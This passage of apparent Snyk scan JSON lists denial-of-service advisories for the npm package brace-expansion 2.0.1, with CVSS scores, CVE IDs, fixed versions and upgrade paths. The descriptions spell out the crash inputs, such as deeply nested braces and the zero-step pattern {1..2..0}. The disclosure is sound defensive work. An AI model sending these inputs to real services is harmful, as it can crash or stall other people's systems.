"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
